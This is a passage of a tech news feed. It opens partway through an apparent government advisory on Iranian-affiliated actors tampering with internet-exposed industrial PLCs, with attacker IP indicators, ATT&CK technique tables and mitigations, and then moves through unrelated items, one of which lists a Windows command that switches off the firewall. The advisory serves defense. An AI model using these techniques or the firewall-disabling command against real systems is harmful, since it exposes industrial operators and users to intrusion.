Note: An AOI is analogous to a “Function Block” or “User Defined Function Block” used in other PLC vendor programs.

Indicators of Compromise

See Table 1 and Table 2 for recent IP addresses used by the Iranian-affiliated APT actors to communicate with PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, and Siemens in the United States.

Disclaimer: The FBI observed the threat actors using the IP addresses listed below in the specified time frames. This data is being provided for customers to query against logs for indications of historical targeting by the Iranian-affiliated APT actors. The authoring agencies recommend organizations investigate or vet these IP addresses prior to taking action, such as blocking.

Table 1. Indicators of Compromise **(New, July 22, 2026)**
Indicator	Beginning of Actor Association	End of Actor Association
185.82.73[.]175	September 2025	February 2026
141.11.164[.]153	January 2026	June 2026
175.110.121[.]42	February 2026	March 2026
175.110.121[.]39	February 2026	March 2026
175.110.121[.]41	February 2026	March 2026
175.110.121[.]107	February 2026	February 2026
192.142.54[.]79	May 2026	June 2026
84.200.205[.]165	May 2026	June 2026
185.225.17[.]225	June 2026	July 2026
79.133.46[.]209	July 2026	July 2026
88.80.150[.]199	July 2026	July 2026
88.80.150[.]200	July 2026	July 2026
88.80.150[.]202	July 2026	July 2026

Table 2. Indicators of Compromise
Indicator	Beginning of Actor Association	End of Actor Association
185.82.73[.]162	January 2025	March 2026
185.82.73[.]164	January 2025	March 2026
185.82.73[.]165	January 2025	March 2026
185.82.73[.]167	January 2025	March 2026
185.82.73[.]168	January 2025	March 2026
185.82.73[.]170	January 2025	March 2026
185.82.73[.]171	January 2025	March 2026
135.136.1[.]133	March 2026	March 2026

MITRE ATT&CK Tactics and Techniques

See Table 3 to Table 6 for all referenced threat actor tactics and techniques in this advisory. The authoring agencies recommend organizations review historical TTPs for similar Iranian-affiliated cyber actor activity in IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

Table 3. Initial Access
Technique Title	ID	Use
Internet Accessible Device	T0883	The actors accessed and interacted with publicly exposed, internet-accessible PLCs that lacked sufficient network and/or hardening security controls.

Table 4. Command and Control
Technique Title	ID	Use
Commonly Used Port	T0885	The actors leveraged commonly used OT ports to communicate with PLCs.
Remote Access Tools	T1219	The actors deployed Dropbear SSH software on victim modems to enable them to gain remote access through port `22`.

Table 5. Exfiltration **(New, July 22, 2026)**
Technique Title	ID	Use
Exfiltration Over C2 Channel	T1041	The actors used remote, third-party hosted infrastructure as a C2 channel to transfer device project files out of victim environments.

Table 6. Impact
Technique Title	ID	Use
Data Manipulation	T1565	The actors maliciously interacted with project files, including modifying and deleting project file logic, and altered data displayed on HMI and SCADA displays.

Mitigations

The authoring agencies recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture on the basis of the threat actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats and TTPs. Visit CISA’s CPGs webpage for more information on the CPGs, including additional recommended baseline protections.

Network Defenders

The cyber threat actors accessed PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other branded/manufactured PLCs to cause disruptions to victim systems. To safeguard against this threat and threats to other types of PLCs, the authoring agencies urge organizations to consider the following mitigations.

(Updated, July 22, 2026) In addition to contacting the authoring agencies, organizations and integrators operating PLCs from the manufacturers mentioned in this advisory should review the previously issued guidance to strengthen the security of their OT deployments:

Rockwell Automation: Contact the Rockwell Automation Product Security Incident Response Team (PSIRT) at PSIRT@rockwellautomation.com for questions regarding this guidance, or to report cyber incidents related to Rockwell Automation products.
- Refer to Rockwell Automation Security Advisory SD1771 for recommended PLC hardening measures and configuration guidance.
Schneider Electric: Contact the Schneider Electric Corporate Product Cyber Emergency Response Team (CPCERT) at cpcert@se.com for questions regarding this guidance, or to report cyber incidents related to Schneider Electric products.
- Refer to Schneider Electric’s Recommended Cybersecurity Best Practices and Cybersecurity User Guide for Modicon Controller Platform for guidance on securing and configuring PLCs.
Siemens: Contact Siemens ProductCERT at productcert@siemens.com for questions regarding this guidance, or to report cyber incidents and vulnerabilities related to Siemens products.
- Refer to Siemens Security Bulletin 104599 for a list of security measures to harden PLCs and in-depth configuration guides.
- Siemens users should review the Cybersecurity for Industry Operational Guidelines and implement defense-in-depth controls within their automation systems.

Immediate steps to prevent the attack:

Disconnect the PLC from the public-facing internet [CPG 3.S]. Follow the joint guidance Secure connectivity principles for OT to safely allow remote access. Specifically, “remove inbound port exposure,” so the OT system is never directly exposed to the internet or external networks, and to ensure all access is mediated, monitored, and controlled. Do this through a secure gateway (jump host) that brokers the connection.
- Ensure cellular modems, used for remote field connectivity and access, are secured with strong authentication and updated.
- Enable logs for connected modems and regularly review for suspicious activity to detect intrusions and improve incident response speed.
- (New, July 22, 2026) To mitigate unauthorized access to OT via cellular modems, organizations should consider implementing isolated architectures, such as private Access Point Name (APN), 5G Public Network Integrated Non-Public Network (PNI-NPN), cellular Software-Defined Wide Area Network (SD-WAN), Zero Trust Network Access (ZTNA), or a site-to-site virtual private network (VPN).
(New, July 22, 2026) Strictly control network access to PLC devices.
- Configure firewall rules or access control list (ACL) security features on PLCs or programmable controllers to allow only authorized communications between expected control system devices. Block access from unauthorized or threat actor-controlled IP addresses, such as those associated with hosting providers.
For controllers with a physical mode switch, place the physical mode switch into run position to prevent remote modification. Devices should only be in the program or remote position when updating or downloading software online and immediately switched back to the run position when complete. (See Rockwell Automation’s²System Security Design Guidelines for manufacturer’s instructions.)
- (New, July 22, 2026) Prior to switching the device to run mode, review and validate project files, as changing modes will lock in the current project file downloaded to the device.
For devices that allow software key switching, enable programming protection in PLC configuration software (S7 TIA Portal) to limit who can modify PLCs remotely. (See Siemens’ Cybersecurity for Industry Operational Guidelines for the manufacturer’s instructions.)

Follow-up steps to strengthen security posture:

(New, July 22, 2026) Review project files running on PLCs for unauthorized changes. Use vendor-provided integrity checking tools and visually compare the running program to known good logic. Ensure reusable logic and input/output configurations are valid. For Rockwell Automation PLCs listed in the Customer Guidance to Disconnect Devices from the Internet, check the AOIs for any anomalous modifications.
- If restoring from backups, verify the backup does not contain malicious logic before deployment.
- Review logs and configurations on all connected devices, including modems, HMIs, and workstations, to assess potential lateral movement by threat actors. If it appears the actors connected to additional devices, reimage these devices to remove any potential malicious changes or access tools.
(New, July 22, 2026) Ensure device passwords are changed from their default and are configured to use complex, unique combinations of letters, numbers, and symbols that are not easily guessable. Implementing robust password practices remains a critical security measure that can help prevent unauthorized access and strengthen the overall security posture of OT devices.
(New, July 22, 2026) Take defensive measures to minimize the risk of exploitation. Conduct comprehensive impact analysis and risk assessments prior to deploying defensive measures.
Create and test strong backups of the logic and configurations of PLCs. Store backup files offline and secure the physical removal media to enable fast recovery.
Implement multifactor authentication (MFA) [CPG 3.F] for access to the OT network from an external network.
If remote access is required, implement a network proxy, gateway, firewall, and/or VPN in front of the PLC to control network access.
- A VPN or gateway device can enable MFA for remote access even if the PLC does not support MFA. Implement security rules on these higher-level network security mechanisms to prevent the type of repeated and sustained login attempts seen during a brute force attack. When possible, implement a device control list for workstations sending messages or connecting to OT components.
- Use the device control list to monitor for logon activity for unexpected or unusual access to devices from the internet.
Keep PLC devices updated with the latest software patches issued by the manufacturer. Use established downtime windows to install patches. Known Exploited Vulnerabilities may need to be prioritized outside a downtime window.
Configure external and internal firewalls to block traffic using common ports associated with network protocols that are unnecessary for the particular network segment.
Disable any unused authentication methods, logic, or features, such as default authentication keys and passwords, as well as unused or needed services such as Teletype Network (Telnet), File Transfer Protocol (FTP), Remote Desktop Protocol (RDP), Virtual Network Computing (VNC), and web services.
Monitor asset management systems for device configuration changes, which can be used to understand expected parameter settings.
Monitor the content of network traffic for the following:
- Unusual logins to internet-connected devices or unexpected protocols to/from the internet.
- Functions of industrial control systems management protocols that change an asset’s operating mode or modify programs.
(New, July 22, 2026) Ensure service providers are informed of active threats targeting internet-connected PLC devices. Owners and operators should communicate directly with service providers to address risks, especially when remote monitoring or maintenance is involved. Some service providers may rely on internet connectivity essential to monitor and maintain OT/ICS operations but may not be fully aware of active threats.

In addition, the authoring agencies recommend network defenders apply the following mitigations to limit potential adversarial use of common system and network discovery techniques, as well as reduce the impact and risk of compromise by cyber threat actors:

Reduce risk exposure. CISA offers a range of services at no cost, including scanning and testing, to help organizations reduce exposure to threats via mitigating attack vectors. CISA’s Cyber Hygiene Services can help provide additional review of organizations’ internet-accessible assets.

Device Manufacturers

Note: The following guidance is general in nature and not specific to any OT vendor. Some of the features, settings, and practices may already be offered by certain vendors. The inclusion of this guidance should not be interpreted as an assertion that vendors referenced do not offer such security features. Also, this advisory is not highlighting a new vulnerability in the identified products, but instead discusses opportunistic targeting. Device manufacturers can make opportunistic attacks more difficult at scale by encouraging more secure behavior by default and in operations, as discussed below.

Although critical infrastructure organizations using PLC devices can take steps to mitigate the risks, it is ultimately the responsibility of the device manufacturer to build products secured by design and default. The authoring agencies urge device manufacturers to take ownership of their customers’ security outcomes by following the principles in the joint guide Secure by Demand: Priority Considerations for OT Owners and Operators when Selecting Digital Products, primarily:

Change the manufacturers’ default settings to prevent exposing administrative interfaces to the internet.
Do not charge additional fees for basic security features needed to operate the product securely.
Support MFA, including via phishing-resistant methods.

By using secure by design tactics, software manufacturers can make product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing tiered security software and logs, monitoring, and making routine updates.

For more information on common misconfigurations and guidance on reducing their prevalence, see joint advisory NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations. For more information on secure by design, see CISA’s Secure by Design webpage and joint guide.

Validate Security Controls

In addition to applying mitigations, the authoring agencies recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The authoring agencies recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

Select an ATT&CK technique described in this advisory (see Table 3 to Table 6).
Align your security technologies against the technique.
Test your technologies against the technique.
Analyze your detection and prevention technologies’ performance.
Repeat the process for all security technologies to obtain a set of comprehensive performance data.
Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The authoring agencies recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the ATT&CK techniques identified in this advisory.

Resources

Authoring Agencies: IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities
CISA: Bulletproof Defense: Mitigating Risks From Bulletproof Hosting Providers
EPA: Cybersecurity for the Water Sector
CISA: Water and Wastewater Cybersecurity
CISA: Exploitation of Unitronics PLCs used in Water and Wastewater Systems
CISA: Iran Threat Overview and Advisories
FBI: The Iran Threat and Cyber Threat Overview: Iran
CISA, MITRE: Best Practices for MITRE ATT&CK Mapping
CISA: Decider Tool
CISA: Cross-Sector Cybersecurity Performance Goals 2.0
CISA: No-Cost Cybersecurity Services and Tools
CISA: Secure by Demand: Priority Considerations for OT Owners and Operators when Selecting Digital Products
NSA, CISA: NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations
CISA: Secure by Design
FBI, CISA: Primary Mitigations to Reduce Cyber Threats to Operational Technology
United Kingdom National Cyber Security Centre: Secure connectivity principles for operational technology

Contact Information

U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA, the FBI, and/or NSA:

Contact CISA via CISA’s 24/7 Operations Center at contact@cisa.dhs.gov or 1-844-Say-CISA (1-844-729-2472). File a claim with FBI’s Internet Crime Complaint Center (IC3) or contact your local FBI field office. When available, please include the following information regarding the incident:
- Date, time, and location of the incident;
- Type of activity;
- Number of people affected;
- Type of equipment used for the activity; and
- Name of the submitting company or organization, and a designated point of contact.
For NSA cybersecurity guidance inquiries, contact CybersecurityReports@nsa.gov.
Entities required to report incidents to DOE should follow established reporting requirements, as appropriate. For other energy sector inquiries, contact EnergySRMA@hq.doe.gov.
Contact the Rockwell Automation PSIRT for questions regarding their guidance or for reporting cyber incidents related to Rockwell Automation products at PSIRT@rockwellautomation.com.
Contact the Schneider Electric CPCERT at cpcert@se.com for questions regarding this guidance, or to report cyber incidents related to Schneider Electric products.
Contact Siemens ProductCERT for up-to-date information about the security of Siemens products or to report cybersecurity vulnerabilities at productcert@siemens.com. For support with increasing the security of installed Siemens PLCs, contact Siemens Industrial Cybersecurity Services at services.automation@siemens.com. See Siemens ProductCERT and Siemens CERT for more information.

Disclaimer

The information in this report is being provided “as is” for informational purposes only. CISA and the authoring agencies do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA and the authoring agencies.

Version History

April 7, 2026: Initial version.

July 22, 2026: Update includes new guidance on detecting malicious activity, expanded scope of observed targeting, and best practices for secure PLCs deployment.

Notes

¹Project file refers to the software file that contains ladder logic and configuration settings. On Rockwell Automation devices, it is referred to as an .ACD file.

²See CompactLogix 5370 Controllers (Chapter 5: “Select the Operating Mode of the Controller”) for more information on functions available for the switch.

40 Windows Commands you NEED to know (in 10 Minutes)

Sat, 25 Jul 2026 08:36:52 +0200

Author: NetworkChuck - Bewertung: 180418x - Views:4300547

Keep your computer safe with BitDefender: https://bit.ly/BitdefenderNC (59% discount on a 1 year subscription)

Here are the top 40 Windows Command Prompt commands you need to know!! From using ipconfig to check your IP Address to using the shutdown command to automatically boot to bios, these commands are essential for any Windows user. Also, is your computer running slow? We show a series of commands that will speed up your computer without having to reinstall Windows. All of these commands should work on Windows 10 and Windows 11 and all you need to do is launch your windows command prompt (cmd).

🔥🔥Join NetworkChuck Academy: https://ntck.co/NCAcademy

**Sponsored by Bitdefender

SUPPORT NETWORKCHUCK
---------------------------------------------------
➡️NetworkChuck membership: https://ntck.co/Premium
☕☕ COFFEE and MERCH: https://ntck.co/coffee

Check out my new channel: https://ntck.co/ncclips

🆘🆘NEED HELP?? Join the Discord Server: https://discord.gg/networkchuck

STUDY WITH ME on Twitch: https://bit.ly/nc_twitch

READY TO LEARN??
---------------------------------------------------
-Learn Python: https://bit.ly/3rzZjzz
-Get your CCNA: https://bit.ly/nc-ccna

0:00 ⏩ Intro
0:15 ⏩ Launch Windows Command Prompt
0:18 ⏩ ipconfig
0:25 ⏩ ipconfig /all
0:33 ⏩ findstr
0:49 ⏩ ipconfig /release
0:56 ⏩ ipconfig /renew
1:15 ⏩ ipconfig /displaydns
0:56 ⏩ ipconfig /renew
1:29 ⏩ clip
1:47 ⏩ ipconfig /flushdns
2:09 ⏩ nslookup
2:41 ⏩ cls
2:51 ⏩ getmac /v
3:01 ⏩ powercfg /energy
3:10 ⏩ powercfg /batteryreport
3:28 ⏩ assoc
3:51 ⏩ Is your computer slow???
3:56 ⏩ chkdsk /f
4:07 ⏩ chkdsk /r
4:17 ⏩ sfc /scannnow
4:36 ⏩ DISM /Online /Cleanup /CheckHealth
4:45 ⏩ DISM /Online /Cleanup /ScanHealth
4:51 ⏩ DISM /Online /Cleanup /RestoreHealth
5:24 ⏩ tasklist
5:38 ⏩ taskkill
5:59 ⏩ netsh wlan show wlanreport
6:18 ⏩ netsh interface show interface
6:27 ⏩ netsh interface ip show address | findstr “IP Address”
6:30 ⏩ netsh interface ip show dnsservers
6:36 ⏩ netsh advfirewall set allprofiles state off
6:43 ⏩ netsh advfirewall set allprofiles state on
6:49 ⏩ SPONSOR - BitDefender
8:19 ⏩ ping
8:30 ⏩ ping -t
8:41 ⏩ tracert
8:59 ⏩ tracert -d
9:06 ⏩ netstat
9:12 ⏩ netstat -af
9:28 ⏩ netstat -o
9:38 ⏩ netstat -e -t 5
9:47 ⏩ route print
9:58 ⏩ route add
10:13 ⏩ route delete
10:21 ⏩ shutdown /r /fw /f /t 0

FOLLOW ME EVERYWHERE
---------------------------------------------------
Instagram: https://www.instagram.com/networkchuck/
Twitter: https://twitter.com/networkchuck
Facebook: https://www.facebook.com/NetworkChuck/
Join the Discord server: http://bit.ly/nc-discord

AFFILIATES & REFERRALS
---------------------------------------------------
(GEAR I USE...STUFF I RECOMMEND)
My network gear: https://geni.us/L6wyIUj
Amazon Affiliate Store: https://www.amazon.com/shop/networkchuck
Buy a Raspberry Pi: https://geni.us/aBeqAL
Do you want to know how I draw on the screen?? Go to https://ntck.co/EpicPen and use code NetworkChuck to get 20% off!!

#windows11 #commandprompt #cmd

5 endpoint blind spots your EDR/XDR was never built to see

Sat, 25 Jul 2026 00:18:11 +0200

In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.

#1. Gain real-time visibility into shadow AI & extensions

#2. Distinguish between human and autonomous agent behavior

#3. Establish guardrails for automated package updates on endpoints

#4. Enforce principle of least privilege for AI agents

#5. Maintain continuous endpoint posture management

Summary

Ready to secure the future of your software stack? See how Koi Agentic Endpoint Security delivers complete visibility, risk scoring, and real-time prevention across every endpoint in your enterprise.

South Korean nuclear container ship proposal receives US approval for 15,000 TEU ultra-safe molten salt reactor design

Fri, 24 Jul 2026 22:19:42 +0200

South Korea received preliminary US approval for a 15,000 TEU container ship powered by twin molten salt small modular reactors.

Nvidia, Microsoft, Meta Warn Against 'Premature Restrictions' of Open-Weight Models

Fri, 24 Jul 2026 22:11:29 +0200

Nvidia, Microsoft, Meta, Palantir, and more than 20 other tech companies signed an open letter urging policymakers not to impose "premature restrictions" on open-weight AI models, warning that broad limits could "stifle competition or drive innovation overseas." CNBC reports: They wrote that open-weight models strengthen competition and ensure that the benefits of the technology are "broadly shared rather than concentrated in a few hands." "Relying solely on closed models is not inherently safe: they can be breached, misused, or fail in ways that outsiders cannot detect," the letter said. "And concentrating advanced AI capabilities behind a small number of closed models compounds that risk." Elon Musk, who runs an AI business under his rocket company SpaceX, also applified the letter on social media, writing that it has his "full support" in a post on X. SpaceX did not officially sign the letter. Greg Brockman, OpenAI's president, said Thursday that the company believes in broad access, and that he has not been involved in any conversations with the Trump administration about potentially banning Chinese open-weight models in the U.S. "I think that, that fundamentally, AI and AI usage is something that is actually very important to democratize," Brockman told reporters during a briefing in New York City. "And so, for me, at a sort of deep level, I think that having more models, more usage, that is a good thing." OpenAI CEO Sam Altman addressed the letter in a post on X on Friday, writing that he wants the U.S. to win with both open-weight and proprietary models, and that he is "glad to see this." [...] In the letter on Friday, the U.S. tech companies said that concerns about unlawful distillation should be addressed through "targeted legal and commercial frameworks" instead of with "sweeping restrictions on techniques that play an important role in AI innovation." "Our AI leadership will be judged not by one frontier AI model, but by whether the United States builds a strong, open ecosystem that diffuses into every sector," the letter said. "This is essential for creating opportunities for innovation and prosperity across the country." The letter follows a separate appeal signed by nearly 200 Silicon Valley companies, including Proton and Y Combinator, warning that restricting U.S. access to Chinese open-weight AI models could cripple the next generation of American startups. "American leadership requires two things: world-leading American open-weight models and continued access for U.S. builders to open models already available worldwide," the startup founders wrote. Instead of broad prohibitions, they argue the government should adopt targeted safeguards. Of course, these signees "have an obvious economic stake in seeing open AI models flourish," notes TechCrunch. "Companies like Nvidia, Microsoft Azure, and other infrastructure providers have a vested interest in pushing for commoditized models: If models are interchangeable, people will buy more GPUs, rent more cloud capacity, and build more applications."

‘Sugar’ Season 2, Episode 6 Recap: John Sugar Faces His Darkest Choice Yet

Fri, 24 Jul 2026 21:47:51 +0200

Sugar Season 2, Episode 6 pushes John Sugar deeper into a dangerous conspiracy as Vega closes in on Ji Moon and refuses to leave any witnesses behind. Episode title: “Cautionary Tale” Release date: July 24, 2026 Genre: Crime drama, mystery, neo-noir and science fiction Season length: Eight episodes Season finale: August 7, 2026 Spoiler warning The following section contains major spoilers from Sugar Season 2, Episode 6. Sugar learns the truth about Operation Fire Sale After hiding Ji Moon in a rehabilitation facility and arranging a fake death certificate, Sugar continues investigating the operation connected to Vega. He discovers that the conspiracy, known as Operation Fire Sale, extends far beyond the local drug trade. The people behind the scheme plan to flood selected neighborhoods with cheap fentanyl. Once overdose deaths increase, someone inside the city alters the official records, allowing the victims to disappear from government systems. The group can then exploit housing grants and properties connected to those missing residents. Sugar finally has evidence linking Vega to the operation. However, possessing the evidence does not immediately solve his problem because Vega remains determined to find Ji and silence him permanently. Who is Peg Rosenthal? The episode opens with a flashback from 11 years earlier, revealing the identity of the woman who has appeared in Sugar’s visions throughout the season. Her name was Peg Rosenthal, another member of Sugar’s species who became deeply attached to human life. She enjoyed human food, relationships and money before becoming involved in financial crimes. Sugar was ordered to collect Peg and send her home. During their journey, she warned him that becoming human was a slippery slope. Peg believed her actions had changed her so much that her people would never accept her again. When Sugar briefly leaves to buy tissues, Peg covers herself and the vehicle in gasoline before taking her own life. Her death explains Sugar’s fear that his growing connection to humanity will eventually destroy him as well. Sugar cannot bring himself to kill Vega Sugar enters Vega’s apartment with a gun and appears ready to end the threat. However, he stops himself before pulling the trigger. His hesitation becomes even more dangerous when Vega meets him later at the hotel bar. Sugar explains that Ji will remain silent, but Vega refuses to take the risk. He makes it clear that Ji cannot stay alive. Sugar tells Vega that he had an opportunity to kill him earlier. Vega responds that Sugar should have taken it, leaving the two men heading toward an unavoidable confrontation. Meanwhile, Sugar and Charlotte become closer, showing how quickly he continues to embrace human emotions and desires. With Ji still in hiding and Vega preparing his next move, Sugar has placed himself in too deep with nowhere safe left to go. What do you think Sugar will do when Vega finally finds Ji? Let us know in the comments.

v3.96.0

Fri, 24 Jul 2026 20:37:39 +0200

What's Changed

[INS-355] Added Hashicorp vault token detector by @MuneebUllahKhan222 in #4819
Tighten JiraToken v1 verification by @shahzadhaider1 in #5122
[INT-718] Add TargetNotFoundError for targeted scan targets missing from the source by @bill-rich in #5123
Fix GitLab project metadata cache and switch to LRU by @kashifkhan0771 in #4727
Log analyze errors for Anthropic Analyzer by @kashifkhan0771 in #5120
Add metrics for chunks and results by @mcastorina in #5128
Update Cloudflare detectors for 2026+ prefixed credential formats (include upstream PR changes) by @kashifkhan0771 in #5111
[INS-312] Duo API Secret Key Detector by @MuneebUllahKhan222 in #4771
[Feature] Added SonarQube Cloud "Scoped Organization Token" Detector by @nabeelalam in #4739
[INS-255] Updated datadog detector to set verificationError in case of a verification error by @MuneebUllahKhan222 in #4661
Log analyze errors for Postgres analyzer by @kashifkhan0771 in #5131
Log analyze errors for HuggingFace analyzer by @kashifkhan0771 in #5130
Engine - Config.SourceManager doc by @amanfcp in #5002
Update module github.com/go-git/go-git/v5 to v5.19.1 [SECURITY] by @renovate[bot] in #5034
Retry git clone on transient network errors by @shahzadhaider1 in #5132
Fix scan_all_installations Rejecting Org Member Personal Repos by @shahzadhaider1 in #5142
updated detector to include underscore char by @mattbrady-1 in #5121
[chore] Change job_id in metric to source_type by @mcastorina in #5149
Posthog regex update by @mattbrady-1 in #5133
fix(handlers): apk handler now doesnt check for apk extension since json-enumerator and other byte stream methods wouldnt have it by @johannestaas-trufflesec in #5151

New Contributors

@mattbrady-1 made their first contribution in #5121

Full Changelog: v3.95.9...v3.96.0

Linux Kernel 7.1.4 Released with Bug Fixes, Security Updates, and Hardware Improvements

Fri, 24 Jul 2026 20:32:46 +0200

by George Whittaker

Greg Kroah-Hartman has announced the release of Linux Kernel 7.1.4, the latest stable maintenance update for the Linux 7.1 series. As with other stable kernel releases, version 7.1.4 focuses on fixing bugs, improving hardware compatibility, and addressing security and reliability issues without introducing new features. The update became available on July 18, 2026, and users of the Linux 7.1 branch are encouraged to upgrade as soon as possible.

Rather than changing the kernel's feature set, Linux 7.1.4 delivers dozens of targeted fixes collected from developers across multiple kernel subsystems, helping ensure a more stable experience for desktops, servers, embedded devices, and cloud deployments.

Another Important Stable Maintenance Release

The Linux stable branch exists to provide safe updates between major kernel versions. Every stable release undergoes review before being published and contains fixes that have already been tested in the mainline kernel.

Linux 7.1.4 continues this process by incorporating patches that resolve regressions, improve system stability, and fix issues reported by users since the release of Linux 7.1.3.

For most users, these maintenance updates are recommended because they improve reliability without altering existing functionality.

Bug Fixes Across Multiple Kernel Subsystems

Like previous stable releases, Linux 7.1.4 includes fixes spanning many areas of the kernel.

The update addresses issues affecting:

Memory management
File systems
Networking
Device drivers
Architecture-specific code
Core kernel infrastructure
USB and storage subsystems

These targeted patches help eliminate crashes, improve compatibility with newer hardware, and resolve edge cases that may only appear under specific workloads.

Improved Hardware Compatibility

One of the ongoing goals of Linux stable releases is expanding support for existing and newly released hardware.

Linux 7.1.4 includes updated drivers and compatibility fixes for various devices, helping improve support for:

Graphics hardware
Storage controllers
Networking devices
USB peripherals
Laptop components
ARM development boards

Although no major driver additions are expected in a maintenance release, incremental improvements like these often resolve hardware-specific bugs reported by users after earlier releases.

Security and Reliability Updates

Stable kernel releases also include security-related fixes that have been accepted into the maintenance branch.

Go to Full Article

Facebook Launches Free Verified Badge to Confirm Real Users

Fri, 24 Jul 2026 20:20:30 +0200

Meta has announced Facebook Verified, a free badge that confirms a Facebook profile belongs to a real person rather than an AI-generated fake. The feature uses selfie verification and will first appear across Marketplace, Dating, Groups, and personal profiles. Users must record a short video selfie, which Meta compares with their existing profile photos to confirm a match. The process usually takes a few minutes, and users only need to complete it once before the badge appears across supported parts of Facebook. Who Can Get Facebook Verified? Facebook Verified is available to eligible users aged 18 or older who follow Meta’s Community Standards and show no signs of fraud, scams, deceptive activity, or fake behaviour. Pages and ProMode accounts cannot use the feature because Meta has designed it specifically for personal profiles. The badge gives users a visible sign that a profile has completed identity verification, especially when they view Marketplace listings, dating profiles, or Group members. However, the badge does not mean Facebook endorses the person or guarantees that every interaction will be safe. Facebook Verified is separate from the paid Meta Verified subscription, which includes account support and impersonation protection. Meta is rolling out the free badge in select markets first and plans to expand it globally over time.

Email threats changed after the Tycoon2FA take-down

Fri, 24 Jul 2026 12:33:29 +0200

The takedown reduced activity across multiple phishing categories, forcing attackers to shift to newer delivery methods.

Tycoon2FA disruption sent attackers exploring

The take-down of Tycoon2FA forced its operators to abandon portions of their infrastructure and rework hosting, domain registrations, and delivery mechanisms.

But cutting off one head of the hacker hydra only gave rise to new tactics elsewhere.

Phishing changes but the defense doesn’t

BEC attacks hit 9 million in March, falling to 3.9 million in June.

Microsoft concluded its report with a list of indicators of compromise (IoCs) from the threats observed in the quarter to support detection efforts.

This article first appeared on CSO.

Tycoon2FA takedown reshapes the phishing landscape

Fri, 24 Jul 2026 12:26:57 +0200

The takedown reduced activity across multiple phishing categories, forcing attackers to shift to newer delivery methods.

Tycoon2FA disruption sent attackers exploring

The take-down of Tycoon2FA forced its operators to abandon portions of their infrastructure and rework hosting, domain registrations, and delivery mechanisms.

But cutting off one head of the hacker hydra only gave rise to new tactics elsewhere.

Phishing changes but the defense doesn’t

BEC attacks hit 9 million in March, falling to 3.9 million in June.

Microsoft concluded its report with a list of indicators of compromise (IoCs) from the threats observed in the quarter to support detection efforts.

How to execute queries in parallel using EF Core

Fri, 24 Jul 2026 11:04:59 +0200

EF Core is Microsoft’s flagship ORM (object-relational mapper), the software layer that allows .NET developers to work with relational databases. The DbContext class is the core component of the EF Core framework for managing database operations. However, the DbContext class in EF Core is not thread-safe. Hence, if you share DbContext instances between multiple threads, you will often encounter data corruption issues and the InvalidOperationException.

In this article, we’ll learn how we can execute queries in parallel in EF Core by handling thread-safety issues to avoid concurrency errors. To work with the code examples provided in this article, you should have Visual Studio 2026 installed in your system. You can download Visual Studio 2026 here.

Executing EF Core queries in parallel – the problem

When working in today’s data-driven applications, you will often need to fetch data from multiple unrelated datasets. In applications that use concurrency, thread-safety is critical to guaranteeing correct execution, avoiding data corruption and race conditions, and ensuring data consistency. Let’s understand this with an example.

Let’s say we want to populate a dashboard that displays all recently processed orders, metrics, logs, and traces, as well as your application’s performance metadata. We might write the following code.

public class Dashboard
{
    public List Orders { get; set; } = new();
    public Metrics Metrics { get; set; } = new();
    public List Logs { get; set; } = new();
    public List Traces { get; set; } = new();
}
public static async Task LoadDashboardAsync(ProductService productService)
{
    Task    ordersTask  = productService.GetProcessedOrdersAsync();
    Task        metricsTask = productService.GetMetricsAsync();
    Task logsTask    = productService.GetRecentLogsAsync();
    Task    tracesTask  = productService.GetTracesAsync();
    await Task.WhenAll(ordersTask, metricsTask, logsTask, tracesTask);
    return new Dashboard
    {
        Orders  = await ordersTask,
        Metrics = await metricsTask,
        Logs    = await logsTask,
        Traces  = await tracesTask
    };
}

In the preceding code snippet, there are four read operations that are executed by four different Task instances. Our objective is to ensure that the database round trips run in parallel instead of in sequence. We can accomplish this by usingTask.WhenAll, which starts the four tasks, waits for every task to finish, then returns the data wrapped inside a new Dashboard instance.

If we executed these queries sequentially, the user would have to wait until each query completed its execution in turn—for a total wait time equal to the sum of the times for all four queries. However, by running these queries in parallel, we reduce the wait time considerably. The user will need to wait only as long as it takes for the slowest of the four queries to complete its execution.

However, there is a danger with the above approach. If you run multiple operations on the same DbContext instance, you will see an InvalidOperationException with the following message:

A second operation started in this context before the previous operation was completed. This is usually caused by multiple threads using the same DbContext instance; instance members are not guaranteed to be thread-safe.

Databases such as SQL Server, PostgreSQL, and Oracle Database follow a request-response communication model at the connection level: a single connection can process only one command at a time. Hence, you cannot run multiple queries concurrently using the connection. If you await several operations using the same connection, EF Core detects the overlapping use of a non-thread-safe context and throws an InvalidOperationException. To run queries in parallel, you must give each task its own connection or context.

Why DbContext isn’t thread-safe – and how to work around it

The DbContext class in EF Core is designed to manage a single unit of work. To be more precise, EF Core does not provide support for running multiple operations on the same DbContext instance. This design approach creates inherent challenges when you use the same DbContext instance across multiple threads. If DbContext were thread-safe, extensive locking would be required, which would degrade data access performance.

This stateful design of DbContext makes it unsuitable for concurrent access patterns that involve loading, modifying, or tracking different sets of data simultaneously, because it needs to maintain the internal representation of database state.

